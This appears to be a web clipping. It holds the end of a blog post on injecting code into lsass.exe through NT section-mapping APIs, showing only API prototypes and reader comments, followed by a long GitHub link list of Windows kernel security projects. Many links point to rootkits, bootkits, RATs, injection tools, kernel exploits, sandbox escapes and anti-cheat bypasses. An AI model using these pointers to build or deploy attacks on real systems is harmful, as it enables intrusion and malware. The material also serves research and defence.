    **typedef** **NTSTATUS** (WINAPI * PFN_ZWQUERYINFORMATIONPROCESS)(HANDLE, PROCESSINFOCLASS,
        PVOID, ULONG, PULONG);
    
    **NTSTATUS** (**__stdcall** *ZwQueryInformationProcess)(
      HANDLE  ProcessHandle,
      PROCESSINFOCLASS  ProcessInformationClass,
      PVOID  ProcessInformation,
      ULONG  ProcessInformationLength,
      PULONG  ReturnLength  OPTIONAL
      );
    
    **NTSTATUS** (**__stdcall** *ZwCreateSection)(
         PHANDLE  SectionHandle,
         ACCESS_MASK  DesiredAccess,
         PDWORD  ObjectAttributes OPTIONAL,
         PLARGE_INTEGER  MaximumSize OPTIONAL,
         ULONG  SectionPageProtection,
         ULONG  AllocationAttributes,
         HANDLE  FileHandle OPTIONAL
        );
    
    **NTSTATUS** (**__stdcall** *ZwMapViewOfSection) (
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    OUT PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize,
    DWORD InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect
    );
    
    **NTSTATUS** (**__stdcall** *ZwUnmapViewOfSection)(
    	HANDLE ProcessHandle,
    	PVOID BaseAddress
    	);
[/code]

So for the p0c i just put a INT3 at entry point of lsass.exe, and here the
result :

<img src='img/Temp2_10697.png' alt='p0clsass.png' />  

## Conclusion

This method is really fun because it don't use SetThreadContext\(\), for
updating eip before resuming thread execution.

3 comment\(s\)

  
ben wrote on 07/11/2011 :  

errors in posted code, please fix

programmer wrote on 07/11/2011 :  

dont work on windows 7 \!why?

w4kfu wrote on 07/11/2011 :  

Code has been fixed, and work on win7.  
Sorry for the inconvenience.

# ExpLife0011/awesome-windows-kernel-security-development

**Created:**| _9/23/2018 9:32:56 AM_  
---|---  
**Updated:**| _9/23/2018 9:32:56 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img
src='img/68747470733a2f2f7373322e62647374617469632e636f6d2f37306346766e53685f5131596e78476b706f574b314846366868792f69742f753d323932383034393935362c3339373638343539363026666d3d32372667703d302e6a7067.jpg'
width='540' height='300' alt='logo' />

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d626c75652e737667'
width='78' height='20' alt='Gitee license' />

# `awesome-windows-kernel-security-development`

❤️

## windows kernel driver with c++ runtime

  * https://github.com/HoShiMin/Kernel-Bridge
  * https://github.com/wjcsharp/Common
  * https://github.com/ExpLife/DriverSTL
  * https://github.com/sysprogs/BazisLib
  * https://github.com/AmrThabet/winSRDF
  * https://github.com/sidyhe/dxx
  * https://github.com/zer0mem/libc
  * https://github.com/eladraz/XDK
  * https://github.com/vic4key/Cat-Driver
  * https://github.com/AndrewGaspar/km-stl
  * https://github.com/zer0mem/KernelProject
  * https://github.com/zer0mem/miniCommon
  * https://github.com/jackqk/mystudy
  * https://github.com/yogendersolanki91/Kernel-Driver-Example

## blackbone

  * https://github.com/alexpsp00/x-elite-loader
  * https://github.com/DarthTon/Xenos
  * https://github.com/DarthTon/Blackbone

## winio

  * https://github.com/Jehoash/WinIO3.0

## dkom

  * https://blog.csdn.net/zhuhuibeishadiao/article/details/51136650 \(get process full path name\)
  * https://bbs.pediy.com/thread-96427.htm \(modify process image name\)
  * https://github.com/ZhuHuiBeiShaDiao/PathModification
  * https://github.com/ZhuHuiBeiShaDiao/NewHideDriverEx
  * https://github.com/Sqdwr/HideDriver
  * https://github.com/nbqofficial/HideDriver
  * https://github.com/landhb/HideProcess
  * https://github.com/tfairane/DKOM

## ssdt hook

  * https://github.com/Sqdwr/64-bits-inserthook
  * https://github.com/int0/ProcessIsolator
  * https://github.com/mrexodia/TitanHide \(x64dbg Plugin\)-\(DragonQuestHero Suggest\)
  * https://github.com/papadp/shd
  * https://github.com/bronzeMe/SSDT\_Hook\_x64
  * https://github.com/s18leoare/Hackshield-Driver-Bypass
  * https://github.com/sincoder/hidedir
  * https://github.com/wyrover/HKkernelDbg
  * https://github.com/CherryZY/Process\_Protect\_Module
  * https://github.com/weixu8/RegistryMonitor
  * https://github.com/nmgwddj/Learn-Windows-Drivers

## eat/iat/object/irp/iat hook

  * https://github.com/m0n0ph1/IAT-Hooking-Revisited
  * https://github.com/xiaomagexiao/GameDll
  * https://github.com/HollyDi/Ring0Hook
  * https://github.com/mgeeky/prc\_xchk
  * https://github.com/tinysec/iathook

## inline hook

  * https://github.com/chinatiny/InlineHookLib \(R3 & R0\)
  * https://github.com/tongzeyu/HookSysenter
  * https://github.com/VideoCardGuy/HideProcessInTaskmgr
  * https://github.com/MalwareTech/FstHook
  * https://github.com/Menooker/FishHook
  * https://github.com/G-E-N-E-S-I-S/latebros
  * https://bbs.pediy.com/thread-214582.htm

## inject technique

  * https://github.com/alex9191/Kernel-dll-injector \(DllInjectFromKernel\)
  * https://github.com/strivexjun/DriverInjectDll \(MapInjectDll\)
  * https://github.com/wbenny/keinject \(ApcInjectFromKernel\)
  * https://github.com/sud0loo/ProcessInjection
  * https://github.com/apriorit/SvcHostDemo
  * https://github.com/can1357/ThePerfectInjector
  * https://github.com/VideoCardGuy/X64Injector
  * https://github.com/papadp/reflective-injection-detection \(InjectFromMemory\)
  * https://github.com/psmitty7373/eif \(InjectFromMemory\)
  * https://github.com/rokups/ReflectiveLdr \(InjectFromMemory\)
  * https://github.com/BenjaminSoelberg/ReflectivePELoader \(InjectFromMemory\)
  * https://github.com/NtRaiseHardError/Phage \(InjectFromMemory\)
  * https://github.com/dismantl/ImprovedReflectiveDLLInjection \(InjectFromMemory\)
  * https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher \(InjectFromMemory\)
  * https://github.com/amishsecurity/paythepony \(InjectFromMemory\)
  * https://github.com/deroko/activationcontexthook
  * https://github.com/ez8-co/yapi \(Cross x86 & x64 injection\)
  * https://github.com/georgenicolaou/HeavenInjector
  * https://github.com/tinysec/runwithdll
  * https://github.com/NtOpcode/NT-APC-Injector
  * https://github.com/caidongyun/WinCodeInjection
  * https://github.com/countercept/doublepulsar-usermode-injector
  * https://github.com/mq1n/DLLThreadInjectionDetector
  * https://github.com/hkhk366/Memory\_Codes\_Injection
  * https://github.com/chango77747/ShellCodeInjector\_MsBuild
  * https://github.com/Zer0Mem0ry/ManualMap
  * https://github.com/secrary/InfectPE
  * https://github.com/zodiacon/DllInjectionWithThreadContext
  * https://github.com/NtOpcode/RtlCreateUserThread-DLL-Injection
  * https://github.com/hasherezade/chimera\_loader
  * https://github.com/Ciantic/RemoteThreader
  * https://github.com/OlSut/Kinject-x64
  * https://github.com/tandasat/RemoteWriteMonitor
  * https://github.com/stormshield/Beholder-Win32
  * https://github.com/secrary/InjectProc
  * https://github.com/AzureGreen/InjectCollection
  * https://github.com/uItra/Injectora
  * https://github.com/rootm0s/Injectors
  * https://github.com/Spajed/processrefund
  * https://github.com/al-homedawy/InjecTOR
  * https://github.com/OlSut/Kinject-x64
  * https://github.com/stormshield/Beholder-Win32
  * https://github.com/yifiHeaven/MagicWall

## anti autorun

  * https://github.com/analyst004/autorun

## anti dll inject

  * https://github.com/analyst004/antinject
  * https://github.com/ExpLife/BotKiller

## load Dll from memory

  * https://github.com/jnastarot/native\_peloader
  * https://github.com/fancycode/MemoryModule
  * https://github.com/strivexjun/MemoryModulePP

## Unpack dll load in runtime

  * https://github.com/1ce0ear/DllLoaderUnpacker

## anti dll hijack

  * https://github.com/fortiguard-lion/anti-dll-hijacking

## process hollowing

  * https://github.com/xfgryujk/InjectExe
  * https://github.com/m0n0ph1/Basic-File-Crypter
  * https://github.com/Spajed/processrefund
  * https://github.com/KernelMode/Process\_Doppelganging
  * https://github.com/hasherezade/process\_doppelganging
  * https://github.com/m0n0ph1/Process-Hollowing
  * https://github.com/KernelMode/RunPE-ProcessHollowing
  * https://github.com/KernelMode/RunPE\_Detecter

## pe loader

  * https://github.com/FrankStain/pe-loader
  * https://github.com/VideoCardGuy/PELoader

## dll to shellcode

  * https://github.com/w1nds/dll2shellcode

## hide process

  * https://github.com/M00nRise/ProcessHider

## hide & delete dll

  * https://github.com/wyyqyl/HideModule

## load driver from memory

  * https://github.com/ZhuHuiBeiShaDiao/DriverMaper
  * https://github.com/9176324/KernelMemoryModule \(Enable Exception\)
  * https://github.com/not-wlan/driver-hijack
  * https://github.com/Professor-plum/Reflective-Driver-Loader

## hook engine

  * https://github.com/Synestraa/ArchUltimate.HookLib
  * https://github.com/DominicTobias/detourxs
  * https://github.com/Ilyatk/HookEngine
  * https://github.com/zyantific/zyan-hook-engine
  * https://github.com/martona/mhook
  * https://github.com/EasyHook/EasyHook
  * https://github.com/RelicOfTesla/Detours

## callback

  * https://github.com/Sqdwr/RemoveCallBacks
  * https://github.com/JKornev/hidden
  * https://github.com/binbibi/CallbackEx
  * https://github.com/swwwolf/cbtest
  * https://github.com/nmgwddj/Learn-Windows-Drivers
  * https://github.com/SamLarenN/CallbackDisabler

## minifilter

  * https://github.com/NtRaiseHardError/Anti-Delete \(File anti delete\)
  * https://github.com/Randomize163/FSDefender
  * https://github.com/ETEFS/ETEFS\_Mini
  * https://github.com/gfleury/ProtegeDados\_ProjetoFinal
  * https://github.com/denisvieriu/Portable-Executable-Minifilter-Driver
  * https://github.com/surajfale/passthrough-minifilter-driver
  * https://github.com/louk78/Virgo
  * https://github.com/tandasat/Scavenger
  * https://github.com/dubeyprateek/HideFiles
  * https://github.com/aleksk/LazyCopy
  * https://github.com/guidoreina/minivers
  * https://github.com/idkwim/mfd
  * https://github.com/Coxious/Antinvader
  * https://github.com/tandasat/Scavenger
  * https://github.com/fishfly/X70FSD
  * https://github.com/ExpLife/BKAV.Filter

## virtual disk

  * https://github.com/zhaozhongshu/winvblock\_vs
  * https://github.com/yogendersolanki91/Kernel-Driver-Example

## virtual file system

  * https://github.com/ExpLife/CodeUMVFS
  * https://github.com/yogendersolanki91/ProcessFileSystem
  * https://github.com/BenjaminKim/dokanx

## lpc

  * https://github.com/avalon1610/LPC

## alpc

  * https://github.com/avalon1610/ALPC

## lsp

  * https://github.com/AnwarMohamed/Packetyzer

## afd

  * https://github.com/xiaomagexiao/GameDll
  * https://github.com/DeDf/afd
  * https://github.com/a252293079/NProxy

## tdi

  * https://github.com/xue-blood/adfilter
  * https://github.com/alex9191/NetDriver \(send & receive HTTP requests\)
  * https://github.com/alex9191/ZeroBank-ring0-bundle
  * https://github.com/Sha0/winvblock
  * https://github.com/michael4338/TDI
  * https://github.com/cullengao/tdi\_monitor
  * https://github.com/uniking/TDI-Demo
  * https://github.com/codereba/netmon

## wfp

  * https://github.com/mullvad/libwfp
  * https://github.com/gifur/NetworkMnt
  * https://github.com/ss-abramchuk/OpenVPNAdapter/blob/f016614ed3dec30672e4f1821344b7992825a98d/OpenVPN%20Adapter/Vendors/openvpn/openvpn/tun/win/wfp.hpp
  * https://github.com/itari/vapu
  * https://github.com/basil00/Divert
  * https://github.com/WPO-Foundation/win-shaper
  * https://github.com/raymon-tian/WFPFirewall
  * https://github.com/killbug2004/HashFilter
  * https://github.com/henrypp/simplewall
  * https://docs.microsoft.com/zh-cn/windows-hardware/drivers/network/porting-packet-processing-drivers-and-apps-to-wfp
  * https://github.com/thecybermind/ipredir

## ndis

  * https://github.com/pr0v3rbs/MalSiteBlocker
  * https://github.com/Beamer-LB/netmap/tree/stable/WINDOWS
  * https://github.com/ndemarinis/ovs/tree/22a1ba42f8137cd3532b54880b19b51d4b87440d/datapath-windows/ovsext
  * https://github.com/markjandrews/CodeMachineCourse/tree/5473d4ea808791c2a048f2c8c9c86f011a6da5e8/source/kerrkt.labs/labs/NdisLwf
  * https://github.com/openthread/openthread/tree/master/examples/drivers/windows
  * https://github.com/Hartigan/Firewall
  * https://github.com/zy520321/ndis-filter
  * https://github.com/yuanmaomao/NDIS\_Firewall
  * https://github.com/SoftEtherVPN/Win10Pcap
  * https://github.com/IsoGrid/NdisProtocol
  * https://github.com/lcxl/lcxl-net-loader
  * https://www.ntkernel.com/windows-packet-filter/
  * https://github.com/michael4338/NDIS
  * https://github.com/IAmAnubhavSaini/ndislwf
  * https://github.com/OpenVPN/tap-windows6
  * https://github.com/SageAxcess/pcap-ndis6
  * https://github.com/uniking/NDIS-Demo
  * https://github.com/mkdym/NDISDriverInst
  * https://github.com/debugfan/packetprot
  * https://github.com/Iamgublin/NDIS6.30-NetMonitor
  * https://github.com/nmap/npcap
  * https://github.com/Ltangjian/FireWall
  * https://github.com/Microsoft/Windows-driver-samples/tree/master/network/config/bindview
  * https://github.com/brorica/http\_inject \(winpcap\)

## wsk

  * https://github.com/reinhardvz/wsk
  * https://github.com/akayn/kbMon
  * https://github.com/02strich/audionet
  * https://github.com/mestefy/securityplus
  * https://github.com/skycipher/CNGProvider

## rootkits

  * https://github.com/Psychotropos/xhunter1\_privesc \(XIGNCODE3\)
  * https://github.com/ionescu007/r0ak \(RWE\)
  * https://github.com/cyberweapons/cyberweapons
  * https://github.com/huoji120/AV-Killer
  * https://github.com/Sqdwr/DeleteFile
  * https://github.com/Sqdwr/DeleteFileByCreateIrp
  * https://github.com/Mattiwatti/PPLKiller
  * https://github.com/bfosterjr/ci\_mod
  * https://github.com/HoShiMin/EnjoyTheRing0
  * https://github.com/hfiref0x/ZeroAccess
  * https://github.com/hackedteam/driver-win32
  * https://github.com/hackedteam/driver-win64
  * https://github.com/csurage/Rootkit
  * https://github.com/bowlofstew/rootkit.com
  * https://github.com/Nervous/GreenKit-Rootkit
  * https://github.com/bytecode-77/r77-rootkit
  * https://github.com/Cr4sh/WindowsRegistryRootkit
  * https://github.com/Alifcccccc/Windows-Rootkits
  * https://github.com/Schnocker/NoEye
  * https://github.com/christian-roggia/open-myrtus
  * https://github.com/Cr4sh/DrvHide-PoC
  * https://github.com/mstefanowich/SquiddlyDiddly2
  * https://github.com/MalwareTech/FakeMBR
  * https://github.com/Cr4sh/PTBypass-PoC
  * https://github.com/psaneme/Kung-Fu-Malware
  * https://github.com/hasherezade/persistence\_demos
  * https://github.com/MinhasKamal/TrojanCockroach
  * https://github.com/akayn/kbMon

## mbr

  * https://github.com/Cisco-Talos/MBRFilter

## bootkits

  * https://github.com/DeviceObject/rk2017
  * https://github.com/DeviceObject/ChangeDiskSector
  * https://github.com/DeviceObject/Uefi\_HelloWorld
  * https://github.com/DeviceObject/ShitDrv
  * https://github.com/DeviceObject/DarkCloud
  * https://github.com/nyx0/Rovnix
  * https://github.com/MalwareTech/TinyXPB
  * https://github.com/m0n0ph1/Win64-Rovnix-VBR-Bootkit
  * https://github.com/NextSecurity/Gozi-MBR-rootkit
  * https://github.com/NextSecurity/vector-edk
  * https://github.com/ahixon/booty

## uefi/smm

  * https://github.com/DeviceObject/Uefi\_HelloWorld
  * https://github.com/LongSoft/UEFITool
  * https://github.com/dude719/UEFI-Bootkit
  * https://github.com/quarkslab/dreamboot
  * https://github.com/gyje/BIOS\_Rootkit
  * https://github.com/scumjr/the-sea-watcher
  * https://github.com/zhuyue1314/stoned-UEFI-bootkit
  * https://github.com/hackedteam/vector-edk
  * https://github.com/Cr4sh/SmmBackdoor
  * https://github.com/Cr4sh/PeiBackdoor
  * https://github.com/Cr4sh/fwexpl

## bootloader

  * https://github.com/apriorit/custom-bootloader

## smc

  * https://github.com/marcusbotacin/Self-Modifying-Code

## anti debug

  * https://github.com/strivexjun/XAntiDebug
  * https://github.com/marcusbotacin/Anti.Analysis
  * https://github.com/LordNoteworthy/al-khaser
  * https://github.com/eschweiler/ProReversing

## crypters

  * https://github.com/m0n0ph1/FileCrypter
  * https://github.com/iGh0st/Crypters

## malware

  * https://github.com/lianglixin/RemoteControl-X3
  * https://github.com/Souhardya/UBoat \(HTTP\)
  * https://github.com/malwares/Botnet
  * https://github.com/RafaelGSS/HyzMall
  * https://github.com/DeadNumbers/Pegasus
  * https://github.com/mdsecactivebreach/SharpShooter
  * https://github.com/mwsrc/XtremeRAT
  * https://github.com/mwsrc/Schwarze-Sonne-RAT \(delphi\)
  * https://github.com/Mr-Un1k0d3r/ThunderShell \(powershell\)
  * https://github.com/DimChris0/LoRa
  * https://github.com/marcusbotacin/Malware.Multicore
  * https://github.com/bxlcity/malware
  * https://github.com/grcasanova/SuperVirus
  * https://github.com/hackedteam/core-win32
  * https://github.com/hackedteam/scout-win
  * https://github.com/hackedteam/vector-dropper

## EternalBlue && Doublepulsar && Mine

  * https://github.com/xmrig/xmrig
  * https://github.com/TolgaSEZER/EternalPulse

## malware analysis

  * https://github.com/ctxis/capemon
  * https://github.com/kevthehermit/RATDecoders
  * https://github.com/marcusbotacin/Malware.Variants
  * https://github.com/marcusbotacin/Hardware-Assisted-AV
  * https://github.com/gentilkiwi/spectre\_meltdown
  * https://github.com/gentilkiwi/wanadecrypt
  * https://github.com/bloomer1016
  * https://github.com/CHEF-KOCH/malware-research
  * https://github.com/gentilkiwi/wanakiwi

## arktools

  * https://github.com/alex9191/KernelModeMonitor
  * https://github.com/marcosd4h/memhunter
  * https://github.com/gleeda/memtriage
  * https://github.com/KernelMode/Process\_Dop
  * https://github.com/hm200958/kmdf--analyse
  * https://github.com/AzureGreen/WinNT-Learning
  * https://github.com/marcusbotacin/BranchMonitoringProject
  * https://github.com/AzureGreen/ArkProtect
  * https://github.com/AzureGreen/ArkToolDrv
  * https://github.com/HollyDi/PCAssistant
  * https://github.com/ChengChengCC/Ark-tools
  * https://github.com/swatkat/arkitlib
  * https://github.com/swwwolf/wdbgark
  * https://github.com/zibility/Anti-Rootkits
  * https://github.com/SLAUC91/AntiCheat
  * https://github.com/sincoder/A-Protect
  * https://github.com/apriorit/antirootkit-anti-splicer
  * https://github.com/kedebug/ScDetective
  * https://github.com/PKRoma/ProcessHacker
  * https://github.com/AndreyBazhan/DbgExt
  * https://github.com/comaeio/SwishDbgExt
  * https://github.com/ExpLife/atomic-red-team
  * https://github.com/shenghe/pcmanager
  * https://github.com/lj1987new/guardlite
  * https://github.com/hackshields/antivirus/
  * https://github.com/AntiRootkit/BDArkit

## bypass patchguard

  * https://github.com/hfiref0x/UPGDSED
  * https://github.com/tandasat/PgResarch
  * https://github.com/killvxk/DisableWin10PatchguardPoc
  * https://github.com/tandasat/findpg
  * https://github.com/zer0mem/HowToBoostPatchGuard
  * https://bbs.pediy.com/thread-214582.htm

## bypass dse

  * https://github.com/hfiref0x/TDL
  * https://github.com/hfiref0x/DSEFix

## HackSysExtremeVulnerableDriver

  * https://github.com/mgeeky/HEVD\_Kernel\_Exploit
  * https://www.fuzzysecurity.com/tutorials.html
  * https://rootkits.xyz/blog/
  * https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
  * https://github.com/k0keoyo/HEVD-Double-Free-PoC
  * https://github.com/k0keoyo/HEVD-Arbitrary-Overwrite-Exploit-Win10-rs3
  * https://github.com/tekwizz123/HEVD-Exploit-Solutions
  * https://github.com/k0keoyo/try\_exploit
  * https://github.com/Cn33liz/HSEVD-VariousExploits
  * https://github.com/Cn33liz/HSEVD-StackOverflow
  * https://github.com/Cn33liz/HSEVD-StackOverflowX64
  * https://github.com/Cn33liz/HSEVD-StackCookieBypass
  * https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI
  * https://github.com/Cn33liz/HSEVD-StackOverflowGDI
  * https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteLowIL
  * https://github.com/Cn33liz/HSEVD-ArbitraryOverwrite
  * https://github.com/akayn/demos

## windows kernel exploits

  * https://github.com/SandboxEscaper/randomrepo \(win10 LPE\)
  * https://github.com/jackson5-sec/TaskSchedLPE \(LPE\)
  * https://github.com/HarsaroopDhillon/AHNLab-0day\(LPE\)
  * https://github.com/paranoidninja/Pandoras-Box
  * https://github.com/MarkHC/HandleMaster
  * https://github.com/can1357/physical\_mem\_controller
  * https://github.com/can1357/safe\_capcom
  * https://github.com/can1357/CVE-2018-8897
  * https://github.com/JeremyFetiveau/Exploits
  * https://github.com/hfiref0x/Stryker
  * https://github.com/swwwolf/obderef
  * https://github.com/k0keoyo/CVE-2017-0038-EXP-C-JS
  * https://github.com/cbayet/PoolSprayer
  * https://github.com/k0keoyo/Vir.IT-explorer-Anti-Virus-Null-Pointer-Reference-PoC
  * https://github.com/k0keoyo/Driver-Loaded-PoC
  * https://github.com/k0keoyo/try\_exploit
  * https://github.com/k0keoyo/CVE-2015-2546-Exploit
  * https://github.com/k0keoyo/Dark\_Composition\_case\_study\_Integer\_Overflow
  * https://github.com/tinysec/vulnerability
  * https://github.com/akayn/demos
  * https://github.com/abatchy17/WindowsExploits
  * https://github.com/recodeking/WindowsExploitation
  * https://github.com/GDSSecurity/Windows-Exploit-Suggester
  * https://github.com/rwfpl/rewolf-pcausa-exploit
  * https://github.com/ratty3697/HackSpy-Trojan-Exploit
  * https://github.com/SecWiki/windows-kernel-exploits
  * https://github.com/sensepost/ms16-098
  * https://github.com/shjalayeri/sysret
  * https://github.com/sam-b/windows\_kernel\_resources
  * https://github.com/sensepost/gdi-palettes-exp
  * https://github.com/ExpLife/ByPassCfg
  * https://github.com/Rootkitsmm/WinIo-Vidix
  * https://github.com/andrewkabai/vulnwindrv
  * https://github.com/mwrlabs/CVE-2016-7255
  * https://github.com/MarkHC/HandleMaster
  * https://github.com/SamLarenN/CapcomDKOM
  * https://github.com/zerosum0x0/puppetstrings
  * https://github.com/zerosum0x0/ShellcodeDriver
  * https://github.com/Rootkitsmm/WinIo-Vidix
  * https://github.com/progmboy/kernel\_vul\_poc
  * https://github.com/rwfpl/rewolf-msi-exploit
  * https://github.com/rwfpl/rewolf-pcausa-exploit
  * https://github.com/Rootkitsmm/Win10Pcap-Exploit
  * https://github.com/Rootkitsmm/MS15-061
  * https://github.com/Rootkitsmm/cve-2016-0040
  * https://github.com/Rootkitsmm/CVEXX-XX
  * https://github.com/sensepost/ms16-098
  * https://github.com/Trietptm-on-Security/bug-free-adventure
  * https://github.com/sam-b/CVE-2014-4113
  * https://github.com/Rootkitsmm/OpenVpn-Pool-Overflow
  * https://github.com/Rootkitsmm/UnThreatAVDriver-DOS
  * https://github.com/Cr4sh/ThinkPwn
  * https://github.com/hfiref0x/CVE-2015-1701
  * https://github.com/tyranid/windows-logical-eop-workshop
  * https://github.com/google/sandbox-attacksurface-analysis-tools
  * https://github.com/tyranid/ExploitRemotingService
  * https://github.com/tyranid/DeviceGuardBypasses
  * https://github.com/tyranid/ExploitDotNetDCOM
  * https://github.com/hatRiot/token-priv\(EOP\)
  * https://github.com/weizn11/MS17010\_AllInOne
  * https://github.com/TeskeVirtualSystem/MS17010Test

## LPE

  * https://github.com/nmulasmajic/syscall\_exploit\_CVE-2018-8897
  * https://github.com/codewhitesec/UnmarshalPwn
  * https://ohpe.github.io/juicy-potato/

## office exploit

  * https://github.com/rxwx/CVE-2017-8570

## flash exploit

  * https://github.com/brianwrf/CVE-2017-4878-Samples

## sandbox

  * https://github.com/taiFansou/Proteibox

## sandbox escape

  * https://github.com/SilverMoonSecurity/SandboxEvasion
  * https://github.com/exAphex/SandboxEscape
  * https://github.com/Fel0ny/Sandbox-Detection
  * https://github.com/CheckPointSW/InviZzzible
  * https://github.com/MalwareTech/AppContainerSandbox
  * https://github.com/tyranid/IE11SandboxEscapes
  * https://github.com/649/Chrome-Sandbox-Exploit
  * https://github.com/google/sandbox-attacksurface-analysis-tools
  * https://github.com/conix-security/zer0m0n
  * https://github.com/iceb0y/windows-container
  * https://github.com/s7ephen/SandKit
  * https://github.com/D4Vinci/Dr0p1t-Framework
  * https://github.com/cryptolok/MorphAES
  * https://github.com/mtalbi/vm\_escape
  * https://github.com/unamer/vmware\_escape
  * https://github.com/erezto/lua-sandbox-escape
  * https://github.com/brownbelt/Edge-sandbox-escape
  * https://github.com/shakenetwork/vmware\_escape
  * https://github.com/Cr4sh/prl\_guest\_to\_host

## anti exploit

  * https://github.com/Empier/Anti-Exploit

## cve

  * https://github.com/LiuCan01/cve-list-pro
  * https://github.com/CVEProject/cvelist

## hips

  * https://github.com/zareprj/JAV-AV-Engine
  * https://github.com/0xdabbad00/OpenHIPS
  * https://github.com/ExpLife/Norton\_AntiVirus\_SourceCode
  * https://github.com/majian55555/MJAntiVirusEngine
  * https://github.com/develbranch/TinyAntivirus
  * https://github.com/tandasat/EopMon
  * https://github.com/tandasat/MemoryMon

## windows hypervisor

  * https://github.com/StrikerX3/whvpclient

## vt

  * https://github.com/wbenny/hvpp
  * https://github.com/Sqdwr/Multi\_CPU\_VtBase
  * https://github.com/marche147/IoctlMon
  * https://github.com/ionescu007/SimpleVisor
  * https://github.com/zer0mem/MiniHyperVisorProject
  * https://github.com/zer0mem/ShowMeYourGongFu
  * https://github.com/zer0mem/HyperVisor
  * https://github.com/marche147/SimpleVT
  * https://github.com/DarthTon/HyperBone
  * https://github.com/nick-kvmhv/splittlb
  * https://github.com/zareprj/Vmx\_Prj
  * https://github.com/ZhuHuiBeiShaDiao/MiniVTx64
  * https://github.com/tandasat/HyperPlatform
  * https://github.com/hzqst/Syscall-Monitor
  * https://github.com/asamy/ksm
  * https://github.com/in12hacker/VT\_64\_EPT
  * https://github.com/ZhuHuiBeiShaDiao/PFHook
  * https://github.com/tandasat/FU\_Hypervisor
  * https://github.com/tandasat/DdiMon
  * https://github.com/tandasat/GuardMon
  * https://github.com/yqsy/VT\_demo
  * https://github.com/OkazakiNagisa/VTbasedDebuggerWin7
  * https://github.com/Ouroboros/JuusanKoubou
  * https://github.com/aaa1616/Hypervisor
  * https://github.com/Nukem9/VirtualDbg
  * https://github.com/Nukem9/VirtualDbgHide
  * https://github.com/cheat-engine/cheat-engine
  * https://github.com/Kelvinhack/kHypervisor

## fuzzer

  * https://github.com/bee13oy/AV\_Kernel\_Vulns/tree/master/Zer0Con2017
  * https://github.com/k0keoyo/kDriver-Fuzzer \(Paper:https://whereisk0shl.top/post/2018-01-30\)
  * https://github.com/koutto/ioctlbf
  * https://github.com/Cr4sh/ioctlfuzzer
  * https://github.com/Cr4sh/MsFontsFuzz
  * https://github.com/hfiref0x/NtCall64
  * https://github.com/Rootkitsmm/Win32k-Fuzzer
  * https://github.com/mwrlabs/KernelFuzzer
  * https://github.com/SignalSEC/kirlangic-ttf-fuzzer
  * https://github.com/demi6od/Smashing\_The\_Browser
  * https://github.com/marche147/IoctlMon
  * https://github.com/k0keoyo/Some-Kernel-Fuzzing-Paper

## emet

  * https://github.com/codingtest/EMET

## hotpatch

  * https://github.com/codingtest/windows\_hotpatch

## memory hack

  * https://github.com/Empier/MemoryEditor

## game hack

  * https://github.com/daswareinfach/Battleye-VAC-EAC-Kernel-Bypass \(BattlEye\)
  * https://blog.his.cat/a/fuck\_battleye.cat \(BattlEye\)
  * https://github.com/Tai7sy/BE\_Fuck \(Battleye\)
  * https://github.com/Synestraa/Highcall-Library
  * https://github.com/cheat-engine/cheat-engine
  * https://github.com/DreamHacks/dreamdota
  * https://github.com/yoie/NGPlug-in
  * https://github.com/DevelopKits/proj
  * https://github.com/VideoCardGuy/ExpTool\_GUI
  * https://github.com/VideoCardGuy/Zhihu\_SimpleLog
  * https://github.com/VideoCardGuy/NewYuGiOh\_CheatDLL\_x64
  * https://github.com/VideoCardGuy/Tetris
  * https://github.com/VideoCardGuy/YuGiOh
  * https://github.com/VideoCardGuy/SnakeAI
  * https://github.com/VideoCardGuy/gitAsktao
  * https://github.com/VideoCardGuy/War3Cheat
  * https://github.com/VideoCardGuy/AStar\_Study
  * https://github.com/VideoCardGuy/BnsChina\_SetSpeed
  * https://github.com/VideoCardGuy/LOLProjects
  * https://github.com/VideoCardGuy/NewYuGiOh\_CheatDLL\_x64
  * https://github.com/VideoCardGuy/PictureMatchGame
  * https://github.com/VideoCardGuy/AutoLoginByBnsChina
  * https://github.com/VideoCardGuy/MemoryWatchTool
  * https://github.com/VideoCardGuy/LOL\_China
  * https://github.com/mlghuskie/NoBastian
  * https://github.com/G-E-N-E-S-I-S/BattlegroundsChams
  * https://github.com/luciouskami/XignCode3Bypass
  * https://github.com/luciouskami/CS-GO-Simple-Hack
  * https://github.com/luciouskami/load-self-mix
  * https://github.com/Karaulov/WarcraftIII\_DLL\_126-127
  * https://github.com/TonyZesto/PubgPrivXcode85
  * https://github.com/luciouskami/gameguard-for-war3
  * https://github.com/PopcornEgg/LOLChangeSkin
  * https://github.com/ValveSoftware/ToGL
  * https://github.com/Karaulov/War3-SizeLimit-Bypass
  * https://github.com/F7eak/Xenon
  * https://github.com/syj2010syj/All-Star-Battle-2

## anti cheat

  * https://github.com/SagaanTheEpic/Sagaan-AntiCheat-V2.0
  * https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-Module-
  * https://github.com/SagaanTheEpic/SAC-Anti-Debug
  * https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-ModuleThread
  * https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-OverlayDetector-
  * https://github.com/SagaanTheEpic/Mega-Bypasss
  * https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-UserMode-
  * https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-Driver-
  * https://github.com/SagaanTheEpic/SagaanTheEpic-Millin-Hack-SMH-Kernel
  * https://github.com/SagaanTheEpic/LSASS-Usermode-Bypass
  * https://github.com/SagaanTheEpic/KernelMode-Bypass
  * https://github.com/chinatiny/GameAntiCheat
  * https://github.com/jnastarot/anti-cheat
  * https://github.com/jnastarot/ice9

## software reverse

  * https://github.com/stonedreamforest/re\_avkmgr
  * https://github.com/stonedreamforest/re\_sysdiag

## pe protector

  * https://github.com/jnastarot/furikuri

## unpacker

  * http://n10info.blogspot.com/2018/03/xvolkolak-010.html

## symbolic execution

  * https://github.com/illera88/Ponce
  * https://github.com/gaasedelen/lighthouse

